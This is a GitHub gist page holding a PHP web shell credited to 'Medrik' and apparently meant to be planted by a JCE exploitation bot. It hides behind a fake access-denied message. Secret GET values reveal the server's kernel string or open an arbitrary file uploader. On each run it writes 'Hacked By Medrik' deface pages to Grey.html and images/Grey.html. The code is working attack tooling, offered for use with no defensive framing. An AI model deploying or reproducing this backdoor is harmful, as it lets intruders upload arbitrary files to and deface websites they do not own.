Created
June 11, 2014 05:16
-
-
Save jonathanablanida/da8b6fe8983da2e644cc to your computer and use it in GitHub Desktop.
php uploaderp
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
this is a PHP Code For Perl-Multi JCE Fucker ! | |
Coded By Medrik | |
SecTime.Ir , | |
Grey Hat boys | |
*/ | |
$parameter = $_GET['cc']; | |
if (!isset($parameter)){ | |
echo ' | |
You don\'t have permission to access | |
<font color="white">Powered By JCE Bot | Programmed By Medrik | |
Powered By Medrik\'s JCE BOT | |
</font> | |
'; | |
} | |
if ($parameter == "5as46dcx8s"){ | |
$uname = php_uname(); | |
$kernel = "\n -> Kernel : ".$uname."\n"; | |
echo $kernel; | |
} | |
if ($parameter == "sad45621x"){ | |
echo ' | |
<html><title>S1mpl3 Up1o4d3r</title> | |
Powered By Medrik\'s JCE BOT<br>S1mpl3 Up1o4d3r<br><br> | |
<body><form enctype="multipart/form-data" action="" method="POST"> | |
please choose your file to upload: <input type="file" name="uploaded"><br> | |
<input type="submit" value="Upload" name="submit">'; | |
$target = basename($_FILES["uploaded"]["name"]); | |
if (isset($_POST["submit"])){ | |
if (move_uploaded_file($_FILES["uploaded"]["tmp_name"], $target)) { | |
echo "<br><font color=red>Upload OK </font>:D";}else { | |
echo "<br> Cant Upload File :( "; | |
} | |
} | |
} | |
#-------------------DEFACING-------------------------- | |
# - Deface Text : You CAN Change It ;) | |
$deface_Text = " | |
<title> Hacked By Medrik </title> | |
<center> | |
<br><br><br><br><br><br><br><br><br> | |
<body background='http://medrik1.persiangig.com/image/awbczkwnuuiye2et6h.gif'> | |
<font color='red'><h1> | |
Hacked By </font> <font color='white'>Medrik | |
"; | |
$deface_file_name = "Grey.html"; | |
$deface_file_name_TWO = "images/Grey.html"; | |
# DEFACING TO /Grey.txt | |
if(is_writable ("Grey.txt")){ | |
$D3face = fopen($deface_file_name, "w"); | |
fwrite($D3face , $deface_Text); | |
} | |
# DEFACING TO -> images/Grey.txt | |
// $now_patch = getcwd(); | |
if(is_writable ("images/Grey.txt")){ | |
$Deface = fopen($deface_file_name_TWO, "w"); | |
fwrite($Deface , $deface_Text); | |
} | |
#--------------------------------------------- | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment